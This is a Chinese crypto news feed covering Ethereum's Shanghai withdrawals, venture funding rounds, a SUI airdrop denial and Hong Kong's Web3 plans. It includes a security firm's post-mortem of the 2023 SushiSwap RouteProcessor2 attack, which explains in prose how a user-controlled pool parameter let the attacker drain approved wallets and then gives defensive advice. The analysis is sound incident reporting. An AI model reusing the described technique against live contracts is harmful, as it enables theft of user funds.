赎回质押代币是一个非常值得期待的功能，即使是那些已经用流动性质押协议进行质押的人。在过去的三个月里，所有顶级流动性质押供应商的质押代币供应和独特持有人的数量都在增加，其中 Lido 的 stETH 持有人数量增加了 37%. 同时，Coinbase 通过其中心化交易平台提供了一个流动性质押解决方案，并看到其代币 cbETH 的持有人数量在同一时期增加了一倍多。这表明很大一部分非本土的 web3 参与者很可能在 上海/卡佩拉升级之前对其持有的 ETH 进行质押。这一趋势也表明，我们可能会看到供应商的市场细分增加，因为具有不同程度的专业知识和风险状况的新用户开始参与质押。 图 19顶级流动性质押代币的关键指标（ETH） 最后，我们预计将看到增加的质押 ETH 流入 DeFi 协议。绝大多数流动的质押代币目前没有在 DeFi 中使用，29% 的 stETH 和仅 0.65% 的 cbETH 目前在分散的交易平台和借贷池中。其原因可能与存放 LST 以获得跨协议的额外奖励的风险增加有关。例如，针对 stETH 的质押受到 stETH/ETH 价格风险的影响，可能会出现波动，使用户面临清算。在上海/卡佩拉升级后，更安全的赎回流动性质押代币换取 ETH，可能会导致整个 DeFi 的利用率提高。 图 20 DeFi 合约中持有的 LST 的供应来源 Lido、Coinbase 和 Rocket Pool 的 LST 的 DeFi 使用量之间的差距很可能是它们在生态中的整合程度的函数。Lido 已经确立了自己在流动性质押方面的领先地位，其 stETH 代币得到了比 cbETH 和 rETH 更多的协议支持。但随着整个 LST 的使用量增加，我们可能会有支持这些代币的更多协议，这随后为更高的交易量和生态的整体增长打开了大门。 在上面的章节中，我们看了提款过程的技术细节、提款对 ETH 质押市场和 DeFi 的影响。现在我们重点讨论上海/卡佩拉升级对投资人意味着什么，这取决于他们在投资旅程中的位置和他们使用的服务。 MetaMask 如果您是 MetaMask 的用户，您可以通过 MetaMask 将 ETH 质押到流动性质押供应商 Lido 和 RocketPool. 一旦提款功能启用，您将能够提取您在这些供应商处质押的 ETH，无论您是直接在他们处质押，还是通过 MetaMask 进行质押。 MetaMask 将在 Lido 和 RocketPool 确定其规格并启用提款功能后，立即支持这些服务的提款。如果你直接从 Lido 或 RocketPool 取款，在申请取款和取回 ETH 之间可能会有一些延迟。MetaMask 用户可以通过交换他们的代币——Lido 的 stETH 和 RocketPool 的 rETH——更快地获得 ETH。 在这个后合并的世界里，人们对简单的质押服务的需求越来越大，这将最终确保以太坊的安全。MetaMask Staking 为每个人提供了一种直观的方式，使其能够跳入并以 ETH 为质押获得回报。 Codefi质押 如果您使用 Codefi Staking，无论是通过用户界面还是 API，您都可以在协议升级后提取您所质押的 ETH. 在验证器上积累了共识层奖励的用户将自动收到超过 32 ETH 的验证器余额，这是「撇脂」操作的结果（更多细节见上面的部分提款部分）。 一旦提现功能启用，我们预计会有更多的 ETH 持有者质押，因为这种活动的风险会降低。有了解除 ETH 质押的能力，那些可能想质押，但担心被锁定的用户现在可以参与进来。因此，我们预计更多的 ETH 将被质押，以太坊质押率将增加。 至于一些质押者是否会从他们目前的质押者供应商转到其他供应商。我们预计，质押者将根据历史上的安全性、可靠性、奖励表现和费用来评估他们目前的供应商。 Codefi Staking 的目标是让每个人在任何地方都能在去中心化网络中质押。我们通过提供最可靠和最安全的质押解决方案，以及易于使用的质押体验，努力实现这一目标。 Besu& Teku 如果你是一个运行自己的验证器的独立质押者，重要的是确保在你在主网上启动提款程序之前测试它。你将有多个机会来做这件事，以核心开发者将推出的测试网的形式。 在硬分叉升级之前，客户团队，包括 Besu 和 Teku 的团队，将升级 Goerli 和 Sepolia 测试网，以支持提款。一旦发生这种情况，Besu 和 Teku 将准备好版本，用户将能够在这些网络上测试提款过程。你将需要 testnet ETH 和 testnet 验证器在这些网络上进行测试。 需要注意的是，只有拥有 0x01 提款凭证的质押者才能够提取他们的 ETH. 大约 311K 的验证者仍然拥有旧式的 0x00/BLS 凭证，并需要通过他们的节点发送消息，在他们的提款发生之前改变为 0x01. 因此，在启动这个过程之前，请确保检查你的提款凭证。 在 Besu 方面，有一些小的 EVM 变化，智能合约开发者需要注意。 如果您正在运行 Besu 和 Teku 客户端，请务必在 Twitter 和 Discord 上关注所有关于团队发布的沟通。此外，希望测试功能的质押者应该继续关注 EthStaker 社区和 Ethereum 基金会（EF）的公告。EF 还主持社区电话，以提供关于即将到来的升级和变化的有用信息。这是一个很好的场所，可以让质押者和用户直接向核心开发人员提出问题。 以太坊路线图致力于发展以太坊区块链作为我们数字未来的基础。去年九月，The Merge 统一了以太坊的执行层和共识层，标志着以太坊完成了向权益证明的过渡。这次升级带来了更强大的结算最终性保障，为链上实现分片做好了准备，并大幅减少了 ETH 的发行和能源消耗。 很快，上海/卡佩拉升级将提供提款服务。换句话说，它将使「锁定」在共识层的验证器余额中的 ETH 能够被提取，并记入以太坊执行账户。这次升级代表了以太坊的一个重要的流动性事件，对每个质押、ETH 的流动性供应、以太坊质押行业的竞争力、以及以太坊质押领域的商业模式和技术创新的步伐都有影响。 以太坊的下一次计划升级是 Cancun-Deneb 升级，预计将在 2023 年晚些时候交付。这次升级将提供 EIP-4844，这是扩展以太坊的一个重要步骤。EIP-4844 引入了一个新的以太坊交易类型，接受数据的「blobs」。它应该在以太坊上扩展第 2 层的 rollup，并帮助减少这些扩展方案的用户产生的交易费用。 未来升级的内容，以及它们的执行顺序，仍有待决定。然而，随着以太坊核心开发人员在部署测试基础设施方面变得越来越熟练，以及更多有才华的贡献者进入这个领域，以太坊的快速发展应该只会继续加速。  ( 12 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（04.03—04.09）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    雪上加霜，处于“自救期”的SushiSwap是如何被黑客攻击的？
    原文：《正处于“刮骨疗毒” 自救的SushiSwap，今日又是如何被黑客攻击的？》 2023年4月9日，据BeosinEagleEye态势感知平台消息， SushiswapRouteProcessor2合约遭受攻击，部分对合约授权过的用户资金被黑客转移，涉及金额约1800ETH，约334万美元。 据了解，SushiSwap 流动性挖矿项目，克隆自 Uniswap，最大的不同是其发行了 SUSHI 代币，团队希望用 SUSHI 通证经济模型，优化 Uniswap。但 Uniswap 创始人 Hayden Adams 表示，Sushi 只是任何有能力的开发人员通过一天的努力创造出来的东西，试图利用炒作和 Uniswap 创造的价值来获利。 其实在本次攻击之前，这个项目还有另外的“坎坷”，去年12 月 6 日，上任仅两个月的 Sushi 新任“主厨” Jared Grey 于治理论坛发起了一项新提案。在该提案中，Jared 首次向外界披露了 Sushi 当前严峻的财务状况，并提出了一个暂时性的自救方案。（相关阅读：《Sushiswap财库告急，新任“主厨”按下“自救键”》） 正是在这样的压力下，黑客又来一击，那在黑客的打击下，SushiSwap能否走出自救的道路？ 事件相关信息 我们以其中一笔攻击交易进行事件分析。 攻击交易 0xea3480f1f1d1f0b32283f8f282ce16403fe22ede35c0b71a732193e56c5c45e8 攻击者地址 0x719cdb61e217de6754ee8fc958f2866d61d565cf 攻击合约 0x000000C0524F353223D94fb76efab586a2Ff8664 被攻击合约 0x044b75f554b886a065b9567891e45c79542d7357 被攻击用户 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1 1.攻击者地址(0x1876…CDd1)约31天前部署了攻击合约。 2.攻击者发起攻击交易，首先攻击者调用了processRoute函数，进行兑换，该函数可以由调用者指定使用哪种路由，这里攻击者选择的是processMyERC20。 3.之后正常执行到swap函数逻辑中，执行的功能是swapUniV3。 4. 在这里可以看到，pool的值是由stream解析而来，而stream参数是用户所能控制的，这是漏洞的关键原因，这里lastCalledPool的值当然也是被一并操控的，接着就进入到攻击者指定的恶意pool地址的swap函数中去进行相关处理了。 5.Swap完成之后，由于此时lastCalledPool的值已经被攻击者设置成为了恶意pool的地址，所以恶意合约调用uniswapV3SwapCallback函数时校验能够通过，并且该函数验证之后就重置了lastCalledPool的值为0x1，导致swapUniV3函数中最后的判断也是可有可无的，最后可以成功转走指定的from地址的资金，这里为100个WETH。 本次事件攻击者主要利用了合约访问控制不足的问题，未对重要参数和调用者进行有效的限制，导致攻击者可传入恶意的地址参数绕过限制，产生意外的危害。 总结 针对本次事件，Beosin安全团队建议： 1.在合约开发时，调用外部合约时应视业务情况限制用户控制的参数，避免由用户传入恶意地址参数造成风险。 2.用户在与合约交互时应注意最小化授权，即仅授权单笔交易中实际需要的数量，避免合约出现安全问题导致账户内资金损失。  ( 2 min )
    Arthur Hayes成立加密基金Maelstrom Capital，瞄准基础设施，慎投美国项目
    作者：Sam Reynolds | CoinDesk 编译：Felix | PANews Arthur Hayes正寻求超越比特币和以太币的回报。加密货币交易所BitMEX的前首席执行官Hayes和BitMEX的前企业发展主管Vaidya共同创立了投资机构Maelstrom Capital，Vaidya担任投资主管。Hayes和Vaidya表示：Maelstrom目前正在瞄准基础设施公司，因为在本轮周期的这一时间段内，基础设施是有意义的。Vaidya说：都在期待用户规模化，但市场还没有足够的基础设施来支持这么大的用户规模。 Maelstrom被设置为Hayes的家族办公室，资金来自Hayes。因为不需要应对LP（毕竟都是Hayes的钱），并不急于配置资本来赚取管理费，所以有足够的“耐心”。 Hayes说：“我们想寻找那些真正有质量的项目。这不是一场‘喷洒完就祈祷’的游戏（指广撒网式投资，然后祈祷有项目能成功），因为我们没有外部LP（毕竟都是自己的钱所以要慎重）”。 Vaidya解释说，基础设施交易“拥有强大的技术护城河，可以应对一个巨大的市场，而且业务很容易理解：‘P’乘以市场规模”。 Compound、Aave和Uniswap均成立于2017年，但直到2019年才出现在大众的视野中，直到2020年DeFi之夏才成为主流。 Hayes说：“当时，由于IC0的负面情绪和巨大熊市，没有人关心它们。这导致了自称是下一个Uniswap、Compound或Aave项目的激增，但许多项目都不太切合实际。投资者愿意将资金投入这些项目，是因为他们知道可以在获得代币后的几个月内退出。” Hayes认为，他现在投资的项目的转折点可能会在2024年左右的某个时候出现，届时市场将开始质疑这些项目是否兑现了承诺、打造了产品、获得了客户，并证明其技术是否有效。随之而来的是克隆项目和蜂拥而至投资者，就像2020-2021年COVID-19牛市期间发生的那样，Uniswap、Compound和Aave的克隆项目都获得了大量资金。 Hayes说:“在加密周期的这个阶段，赚钱很重要，但在熊市期间也要做好工作，辨别哪些公司真正有价值，哪些只是模仿者。”其中一些表现不错，其中一些却是“屎币”，当时机成熟时，Hayes会毫不犹豫地购买这些代币，因为加密行业的回报就是从熊市转向牛市时产生的。 “但这并不意味着我们总是投资质量好的项目，我们也会投资一些‘狗屎’一样的项目，因为今天我们拿到了‘垃圾’代币”。“三个月就可以抛售，因为‘垃圾’项目的叙事就是这样。” 在某些方面，Hayes可能是美国政府对加密行业发起战争的第一枪——或者说是第一个受害者。 2020年，美国司法部指控Hayes违反了《银行保密法》(BSA)，因为未实施KYC和反洗钱 (AML) 控制措施，允许在BitMEX平台上进行洗钱活动。2022年2月，Hayes和BitMEX联合创始人Ben Delo认罪。 认罪意味着政府对Hayes等人的证据和论点从未在法庭的对抗式环境中得到验证。BitMEX不是一家美国公司，也没有使用美元。正如法律专家当时所强调的那样，BSA用于非银行金融机构起诉的唯一其它案例，是以暂缓起诉而告终——以暂缓起诉来掩盖起诉方式的不合理。 因此，Hayes和Vaidya当然考虑到了美国监管机构的长远影响。 Vaidya说：“尤其是在这个周期，投资基础设施项目的优势在于，很多基础设施项目并不像其他项目那样真正成为监管机构的关注焦点。”根据Vaidya的说法，这方面的一个例子是他们投资的EtherFi，这是一个去中心化的非托管流动性抵押平台，该公司在2月份完成了500万美元的融资。 “没有人可以追查，因为公司是非托管的”他说。“这家公司永远不会收到韦尔斯通知”。Maelstrom投资的所有公司，除了一家没有代币模型的公司外，都在美国境外。Vaidya解释说，即使项目的创始人是美国人，他也会在瑞士等加密友好的司法管辖区注册。  ( 1 min )
    融资周报 | 公开融资事件35起；LayerZero Labs以30亿美元的估值完成1.2亿美元B轮融资，a16z和红杉资本等参投
    本期看点 据 PANews 不完全统计，上周（4.3-4.9）全球区块链有35起投融资事件，与前一周相比有所增多；融资总规模约3.08亿美元，与前一周相比略有减少，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 瑞士加密货币初创公司SwissBorg完成2300万美元A轮社区融资 总部位于瑞士洛桑的加密货币初创公司SwissBorg完成2300万美元A轮社区融资，共有16,600名投资者参投。SwissBorg利用其收益产品将用户与去中心化金融平台联系起来，以透明的方式在加密资产上产生收益，并构建一个全面的加密财富管理生态系统。 DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投 DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，本轮融资由 Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。 M^ZERO Labs 首席执行官 Luca Prosperi 称，M^ZERO 旨在实现机构价值传输，为支付流动创建一个中立的基础设施。 Nibiru Chain以1亿美元估值完成850万美元种子轮融资，NGC Ventures等领投 去中心化金融中心Nibiru Chain以1亿美元估值完成850万美元种子轮融资，Tribe Capital、Republic Capital、NGC Ventures和Original Capital领投。融资将帮助建立技术栈、团队和社区。Nibiru Chain计划在今年晚些时候开始筹集A轮融资，目标估值为2亿至2.5亿美元。今年夏天，Nibiru计划推出其部分算法稳定币NUSDC以及测试网。NUSD将由USDC和NIBI抵押，NIBI是Nibiru的原生代币，用于质押、效用和治理。 DeFi协议Thala上线Aptos主网，融资295.5万美元 DeFi协议Thala已于北京时间今日8时上线Aptos主网。 据悉，Thala的LBP池于今日7时关闭，最终通过ThalaLaunch公开发行融资295.5万美元，交易量达828万美元。 去中心化流动性管理平台Steer Protocol完成150万美元种子轮融资，Druid Ventures领投 去中心化流动性管理平台Steer Protocol宣布完成150万美元种子轮融资，Druid Ventures领投，Republic Capital和Big Brain Holdings等参投。Steer Protocol通过集中流动性 (CL) 产品解决流动性管理挑战，使流动性提供者能够更有效地分配资金，从而提高交易者的回报并减少滑点，同时还帮助DeFi协议代币创建激励金库，引导流动性并培育更高效的市场。 香港NFT交易平台Ubox完成700万美元种子轮融资，C² Ventures领投 香港NFT交易平台Ubox以5000万美元估值完成700万美元种子轮融资，C² Ventures领投，Huobi早期投资者等跟投。天使轮资金将用于平台筹备、技术研发、扩大团队及平台推广等方面。Ubox（ubox.io）是一个基于东方文化视野的新型NFT交易场景，现已正式上线。其以“创建你的数字绿洲”为核心理念，为亚太区域的数字资产爱好者提供安全、多元化、高附加值的交易体验。据悉，Ubox自开放3月29日开放预约以来，已有超30万用户预约。 社交元宇宙公司Social Future完成600万美元融资，Mask Network等参投 基于人工智能的社交元宇宙公司Social Future宣布完成600万美元融资，SNZ、Everest Venture Group、Folius Ventures、Y2Z Ventures、Mask Network等参投，其合作伙伴包括Animoca Brands、Decentraland、Metajuice等。Social Future的旗舰产品“MAY”采用区块链和人工智能构建，允许用户一键生成生成3D虚拟世界形象以及配套NFT，并在虚拟元宇宙中进行社交和娱乐。 ENS交易市场ENS Vision完成200万美元种子轮融资，1confirmation领投 ENS交易市场ENS Vision完成200万美元种子轮融资，1confirmation领投。资金将用于进一步发展其生态与产品。 足球元宇宙项目TOPGOAL获DWF Labs数百万美元投资 足球元宇宙项目TOPGOAL宣布获得DWF Labs数百万美元投资，新资金将用于TOPGOAL建立一个由人工智能和区块链技术驱动的足球元宇宙，进一步实现其将体育带入Web3并创造新的数字和虚拟体验的愿景。TopGoal第一期游戏产品为TopManager，其将于今年第三季度推出Football Meta Club和跨平台Web3游戏Footballcraft。 基于房地产资产的NFT平台Metropoly完成110万美元预售轮融资 基于房地产资产的NFT平台Metropoly完成110万美元预售轮融资。METRO代币售价为每枚0.0769美元，已有大约2758名投资者参与预售，预计将于2023年5月1日正式推出。据介绍，该项目将基于区块链对房地产资产进行代币化和“NFT化”，并利用NFT的流动性优势实现更轻松的交易功能，交易数据也可在链上被记录，便于对所有权进行追踪。目前，Metropoly的仪表盘测试版已经上线。 链游RACA获DWF Labs 1600万美元融资 链游RACA（前身为Radio Caca）获DWF Labs 1600万美元融资，包括购买数量不详的RACA代币，所筹资金将帮助RACA推进其Web3游戏生态系统的目标。据悉，RACA成立于2021年，最初是Elon Musk的母亲Maye Musk的NFT的管理者。该公司已经推出了R3游戏基础设施、SimCity风格的沙盒游戏USM.WORLD、社交派对游戏Looki Looki Jazzi、跨游戏DID钱包JAZ和NFT市场。 GameFi项目Smart Finance完成300万美元融资，Web3风投机构DWF Labs投资 Web3风险投资机构和全球数字资产做市商DWF Labs向Smart Finance投资300万美元。新资金将用于Smart Finance扩展其技术更新升级并扩大社区运营能力。Smart Finance是专注游戏及NFT产品的自动策略协议、也称GameFi、NFTFi机枪池。Smart Finance致力于全球GameFi的发展及推广，将WEB3为核心的价值互联网以一种更轻松、更高效的方式融入社会。 链游Yuliverse宣布完成种子轮融资，LIF领投 元宇宙链游Yuliverse宣布完成种子轮融资，LIF领投，Archerman Capital、Animoca Ventures、TKX Capital、K24 Ventures、Hummingbird Capital和Lionrock参投。Yuliverse通过整合游戏元素，提供了一种全新的社交方式，用户可以在城市中发现隐藏的宝石，获得奖励，并与其他有相同兴趣的人联系。此外，Yuliverse发布了游戏的免费版本，并推出游戏新模式Mission Stardust。 DegenReborn获得P12、CyberConnect、Galxe和Era7的战略融资 创新生活模拟游戏DegenReborn完成了来自 P12、CyberConnect、Galxe 和 Era7 的战略融资。据悉，DegenReborn 在三个知名的黑客松比赛 Mask x Starkware、CyberConnect x BNB Chain 和 ETH Denver 中三连获得了奖项。 LayerZero以30亿美元估值完成1.2亿美元B轮融资，a16z与红杉资本等参投 跨链互操作性协议LayerZero Labs以30亿美元的估值完成1.2亿美元B轮融资，a16z Crypto、佳士得拍卖行、红杉资本、三星 Next、BOND、Circle Ventures 和 OpenSea Ventures 等参投。本轮资金将用于增长计划，包括招聘和扩大公司在亚太地区的业务。据悉， LayerZero提供互操作性和跨链消息传递基础设施，允许dApp开发人员访问多个区块链，而无需中间人来促进跨链交互。 Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投 Polyhedra Network完成1500万美元PreA轮融资，Polychain Capital领投， ABCDE、Sparkle Ventures、HashKey Capital、Foresight Ventures、Kucoin Ventures、NGC Ventures和Arcane Group等参投。据悉，Polyhedra Network是一家提供由零知识 (ZK) 证明支持的Web3基础设施的初创公司，正在构建一套专注于区块链互操作性、可扩展性和隐私的系统。这些系统包括 zkBridge，它促进了跨链资产和数据传输。 IOST 获 BitValue Capital 1000万美元投资 加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元，资金将用于 IOST 主网升级和生态系统的持续建设。此外，BitValue 还将与 IOST 联合推出500万美金生态激励基金，为全球开发者提供更多支持，加速 IOST 生态建设和发展。 加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资 加密支付服务商Alchemy Pay以 4亿美元的估值获得了做市商DWF Labs的1000万美元投资，以扩大其在韩国的业务。该公司为加密货币公司提供了一种访问法定支付系统的方式，新资金旨在并帮助韩国当地公司实现更大的国际化。为此，它之前曾与Visa、Mastercard、Google Pay和Apple Pay等公司合作。 模块化区块链Astria完成550万美元种子轮融资，Maven 11领投 模块化区块链Astria完成550万美元种子轮融资，Maven 11领投，1kx、Delphi Ventures和Figment Capital等参投，融资将用于开发其共享排序器网络。Astria还在开发其Astria EVM，该EVM由共享排序器网络提供支持，并计划作为模块化区块链Celestia数据可用性层的以太坊虚拟机 (EVM)。 区块链数据索引平台Satsuma完成500万美元种子轮融资 区块链数据索引平台Satsuma宣布完成500万美元种子轮融资，Initialization Capital和Archetype领投，OpenSea、 Y Combinator参投。Satsuma成立于去年3月，使用The Graph的开源技术查询和索引链上数据。Satsuma并非去中心化协议，而是一个采用SAAS（软件即服务）模式的业务实体。Satsuma从客户处获得其所需的区块链数据细节，然后以自定义API的形式处理这些数据。其客户包括Decentraland、Aragon和Syndicate。 Web3共同所有权平台Lore完成Multicoin Capital领投的400万美元融资 总部位于旧金山的 Web3 集体的共同所有权平台 Lore 在由 Multicoin Capital 领投的战略融资轮中筹集了 400 万美元，其他投资者包括 Seed Club Ventures、North Island Ventures等。Lore迄今为止共筹集了 715 万美元。这笔资金将支持新的用例并扩展到以太坊以外的其他区块链，首先是 Polygon 和 Solana。该平台目前处于公开测试阶段，允许一群人共享NFT，以扩大访问范围和实用性。 ZK-RaaS平台Opside完成400万美元种子轮融资，Web3.com Ventures领投 三层架构 ZK-RaaS 平台 Opside 宣布完成400万美元种子轮融资，该轮融资由 Web3.com Ventures 领投。本轮种子轮融资资金将用于加速Opside的发展、拓展团队和运营规模。Opside 提供通用 & 定制化的 ZK-Rollups SDK（软件开发工具包）来满足开发人员在 Opside Layer3 上进行 dApps 的部署，且无需维护任何基础设施。其将专注于其 ZK-RaaS & PoS+PoW 混合共识机制方面的创新，以填补现有阶段 ZK-RaaS 解决方案服务不足的市场空白。Opside也将在不久后开启新一轮Pre- alpha Testnet测试网，完成三层架构和生态项目的前期搭建并开启测试网活动。 加密薪资支付公司Franklin完成290万美元种子轮融资，CMT Digital等领投 加密薪资支付公司Franklin完成 290 万美元种子轮融资，本轮融资由Gumi Cryptos Capital和CMT Digital共同领投。 据悉，Franklin是Web3营销公司Serotonin内部开发的一个项目，Franklin提供了一种工具，可以向包括美国在内的世界各地的员工和承包商支付加密货币。该项目建立在以太坊主网和Polygon上，为选择的加密货币提供自动化工资支出和税务申报的工具。 加密代币研究平台Kryptview完成150万美元融资 加密代币研究平台Kryptview宣布发布加密货币搜索工具，并完成150万美元融资，KuCoin、Bitpanda、GSR 和 Serafund 等参投。Kryptview表示，在其平台中，用户可以根据特定标准对代币进行排序，例如团队中女性比例、团队是否被doxxed、项目总部所在地、项目是否发布白皮书等。 KuCoin Wallet首轮融资获得HashKey Capital等支持，将更名为Halo Wallet并独立运营 KuCoin Wallet更名为Halo Wallet，且团队已正式从KuCoin Group中分离，将独立运营。品牌重塑意味着Halo Wallet将从Web3钱包扩展到更广泛的SocialFi，包括在Web3 DID的基础上建立生态系统。据悉，Halo Wallet已获得KuCoin Ventures、IDG、HashKey Capital等的首轮融资。 自托管解决方案Safeheron完成Hashkey和Bixin领投的Pre-A+轮融资 一站式开源自托管解决方案 Safeheron完成Pre-A+ 轮融资，Hashkey Capital 和 Bixin Ventures 联合领投。此轮是 Safeheron 继去年 8 月宣布由 Yunqi Partners 和 Web3Vision 领投的700 万美元 Pre-A 轮融资之后，完成的第二笔融资，其目前正在进行新一轮 A 轮融资。该轮融资额将用于推进工程落地和技术科研，包括全新 MPC 算法、TEE 硬件隔离技术和机构级解决方案，以满足不同细分市场客户的多样化安全需求。 比特币钱包Mutiny Wallet完成超30万美元种子轮融资，Ten31等参投 Mutiny Wallet是一款网络优先且注重隐私的比特币钱包，其完成超30万美元种子轮融资，Ten31、Brad Mills、Chris Hunter、American Hodl、Ti Kawamoto和NVK等参投。 Delphi Labs完成1350万美元融资，P2P领投 Delphi Digital旗下协议研发部门Delphi Labs宣布完成1350万美金融资，P2P领投，Jump crypto参投。这些资金将用于建立一个加速器，旨在促进Web3项目的团队的成长。此次融资是Delphi Labs首次寻求外部投资。据悉，加速器中的每个团队将获得20万美元的资金。该计划的主要部分将持续四到六个月，项目团队将在计划结束时被介绍给Delphi Labs的潜在投资者。 Web3任务平台Zealy完成350万美元pre-seed轮融资，Redalpine领投 Web3任务平台Zealy宣布完成350万美元pre-seed轮融资，Redalpine领投，Connect Ventures等参投。Zealy打算使用这笔资金来发展其工程、产品和设计团队。据悉，Zealy允许成员进行数字资产、实体和虚拟活动和任务发布，帮助Web3公司参与、分析和扩展社区。 Web3平台Ecosapiens完成350万美元种子轮融资，Collab+Currency领投 Web3碳足迹解决方案公司Ecosapiens完成350万美元种子轮融资，Collab+Currency领投，Celo首席财务官Alex Witt、Moonbirds前首席运营官Ryan Carson、Boost VC等参投。据悉，Ecosapiens将提供一系列数字基础设施和资源，包括NFT、碳基础设施、聊天群，甚至漫画系列，使人们和企业能够轻松参与和减少碳足迹，使用更可持续的产品并支持通过他们创建的社区向绿色经济过渡。 去中心化通信网络Huddle01完成280万美元种子轮融资 去中心化实时通信网络 Huddle01 完成 280 万美元种子轮融资，Hivemind 领投，Superscrypt、M31 Capital、Protocol Labs等参投。通过新一轮融资，Huddle01 计划发展其生态系统以支持数千个应用程序，并启动其节点网络以促进大规模通信并用 Huddle01 代币作为奖励。此外，Huddle01 将推出资助计划，使开发人员能够在 Huddle01 的基础设施上构建应用程序。 区块链健康数据钱包公司Patientory完成150万美元融资，BackStage Capital等参投 区块链健康数据服务公司Patientory宣布完成150万美元融资，BackStage Capital、Arlan Hamilton等参投。Patientory本周三推出了一款“智能”健康数据钱包应用程序，让用户可以安全地存储他们的信息，其基于区块链且符合HIPAA标准的私人医疗数据生态系统可同步医疗记录和可穿戴设备健康数据，让用户更好地控制和追踪自身健康状况。 5G区块链网络Karrier One完成第一轮融资 5G区块链网络Karrier One完成第一轮融资，融资金额及参投方未披露。Karrier One是一个去中心化移动网络，使用Karrier One区块链无缝和匿名地连接智能手机和用户，提供价格合理、可靠的移动和互联网连接，目前已成功通过卫星连接到10个地面4G节点。 Acre完成650万英镑种子轮融资 总部位于英国伦敦的区块链抵押贷款平台Acre宣布完成650万英镑种子轮融资，所得资金将用于用户增长，并与贷方和保险公司建立新的合作伙伴关系，以帮助其经纪人尽可能高效地推荐和申请合适的金融产品和服务。据悉，Acre平台使用区块链技术验证消费者和财产数据，为抵押贷款业务提供支撑，该平台年抵押贷款额已超过100亿英镑。 荷兰加密货币交易所Finst完成440万美元种子轮融资，Deribit母公司Sentillia领投 荷兰加密货币交易所Finst宣布完成400万欧元（440 万美元）种子轮融资，加密货币衍生品平台Deribit母公司Sentillia领投。据悉，融资将用于扩大Finst的产品范围，以推动其国际扩张计划。 Kaszek Ventures两支新基金已筹集9.75亿美元，将投资区块链等领域 拉丁美洲风投基金Kaszek Ventures通过旗下两支新基金筹集了9.75亿美元，包括5.4亿美元的早期基金Kaszek Ventures VI与4.35亿美元的后期投资工具Kaszek Ventures Opportunity-III (KVO-III)。Kaszek计划从其早期基金中向（处于种子期、A轮和B轮阶段的）20到30家公司投入资金，投资规模从50万美元到2500万美元不等。其后期投资基金的投资将更加集中，该公司的目标是投资10至15家公司，投资规模在1,000万至5,000万美元之间。 风投公司Bitkraft旗下第二只“代币”基金已筹集2.2亿美元 根据3月30日向美国证券交易委员会(SEC)提交的文件，专注于游戏的风险投资公司Bitkraft已为其第二只“代币基金”筹集了2.206亿美元。该基金的总融资目标为2.4亿美元。Bitkraft管理的资产已增长到约6亿美元，其中三分之一与Web3有关。该公司旗下基金包括一个专注于电子竞技的基金、一个普通风险投资基金以及两个“代币”基金。 风投公司OP Crypto已筹集2800万美元资金 由前火币高管David Gan创立的加密货币风险投资公司OP Crypto已从22个投资人处募集到2800万美元资金。去年，OP Crypto曾表示正推出1亿美元的基金来支持早期的加密VC，该基金名为“OP Funds of Funds I”。  ( 4 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（04.03—04.09）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Mysten Labs联创：SUI没有空投或永远不会有，请谨防诈骗
    PANews 4月10日消息，针对一推特用户发表的“如何赚取SUI空投”的一系列推文，Sui开发团队Mysten Labs联合创始人兼首席产品官Adeniyi Abiodun表示：“别再传播谣言了，没有SUI空投。没有此类计划或永远不会有空投。” 此前消息，Sui Network在披露主网将于第二季度推出时，曾表示尚无正式的空投计划。  ( 1 min )
    香港财务司司长：加密市场刚经历崩溃，正是发展Web3最好时机
    来源：香港特别行政区官网 撰文：香港财务司司长 陈茂波 这几天正值复活节假期的长周末，大家也许都安排了不同活动与亲友相聚，或在忙碌的生活中稍稍放松「充电」。新一期的消费券将在下周日发放，加上「开心香港」系列活动启动在即，两箭并发有望为本地零售及餐饮市道带来新的刺激，进一步巩固经济复苏势头。 随着香港社会复常、全面恢复对外联系，我们要乘势而上、齐心合力，为香港经济发展全力开拓新的赛道、打拼出新的优势。 我在《财政预算案》提出推动香港高质量发展的三大方向，当中数字经济和第三代互联网（Web3）的应用，都极具发展潜力，并已引发了社会的正面回响。单是在今个星期，就有最少四个与Web3、数字经济、金融科技等相关的大型研讨会或嘉年华活动在本港举行，当中个别活动更预计有超过一万人次实体参与。 本周四、周五特区政府和数码港将一连两天联合举办「2023数字经济峰会」，主题为「蜕变前行 共创智能未来」，将汇聚创科、Web3、金融、专业服务、环保、商贸、工业和学术等多个界别的代表。峰会特设六大专题论坛，一同解构智慧城市、数据创新、金融科技、人工智能与大数据、Web3、智慧出行以及新型工业化等未来趋势，剖析相关的全球及区域发展前景。 另一场以Web3为主题的嘉年华则由业内人士主办，今年是首次在香港举行，反映香港就Web3提出的愿景和发展策略已引起业界人士巨大兴趣。该活动将聚焦Web3和区块链技术发展、Web3的热门应用、全球相关规管情况等议题，为全球Web3的前沿发展搭建交流共进的平台。 本周活动频密，不少 Web3 龙头企业或初创公司的创始人和高层管理人员，将会云集香港参会，包括Web3基建设施、交易平台、虚拟资产、钱包及支付工具、网络安全审计，以及创投基金等的代表，有业界人士形容连串活动的阵容俨如业界的「武林大会」。 事实上，全球就Web3发展的比拼也正在深化，互相较量的是谁可以在风险可控的前提下，营造出容让应用和创新的最大空间。不论是在现有基础上的改革，还是「颠覆性的创新」，其终极目标都离不开为现实生活和实体经济解决痛点，以及提升效率，并推动更包容、更普惠的发展。例如，如何利用「代币化」技术为债券巿场解决长久以来的交易透明度痛点，以至助力绿色金融下一阶段的创新；又例如探索利用区块链技术简化供应链和贸易的交易过程、降低成本等。这些现实场景的应用， 都有待我们进一步深入探讨、引领创新。 当然，过去一段时间虚拟资产巿场大幅波动，最近也有虚拟资产交易所倒闭，让社会上一些人对Web3的前景感到怀疑。然而，我们认为这正是推动Web3发展的最好时机。 